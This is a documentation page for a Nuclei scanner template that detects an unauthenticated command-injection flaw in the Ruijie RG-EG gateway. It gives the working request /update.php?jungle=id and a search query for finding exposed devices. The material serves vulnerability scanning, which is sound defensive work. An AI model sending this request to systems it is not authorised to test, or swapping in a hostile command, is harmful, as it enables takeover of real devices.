Ruijie RG-EG - Remote Code Execution
ID: ruijie-rg-eg-web-mis-rce
Severity: critical
Author: DhiyaneshDk
Tags: ruijie,router,iot,rce
Description
Section titled “Description”Ruijie RG-EG easy gateway WEB management system front-end RCE has a command execution vulnerability. An attacker without identity authentication can execute arbitrary commands to control server permissions.
YAML Source
Section titled “YAML Source”id: ruijie-rg-eg-web-mis-rce
info: name: Ruijie RG-EG - Remote Code Execution author: DhiyaneshDk severity: critical description: | Ruijie RG-EG easy gateway WEB management system front-end RCE has a command execution vulnerability. An attacker without identity authentication can execute arbitrary commands to control server permissions. reference: - https://github.com/xinyisleep/pocscan/blob/main/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7_EG%E6%98%93%E7%BD%91%E5%85%B3_WEB%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F_%E5%89%8D%E5%8F%B0RCE.py metadata: verified: true max-request: 2 fofa-query: body="请输入您的RG-EG易网关的用户名和密码" tags: ruijie,router,iot,rceflow: http(1) && http(2)
http: - method: GET path: - "{{BaseURL}}"
matchers: - type: dsl internal: true dsl: - 'status_code == 200' - 'contains(body, "ruijie")' condition: and
- method: GET path: - "{{BaseURL}}/update.php?jungle=id"
matchers: - type: dsl dsl: - 'status_code == 200' - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)' condition: and# digest: 4a0a00473045022100ba44b4dbce6070c9eaf491a479e068d231dabb8d45e69ff013666d88e671f77d02201e6392d44fda3e0f16f59af46bc843bf10926ef553e877705ca947dae3c91ee3:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/ruijie/ruijie-rg-eg-web-mis-rce.yaml"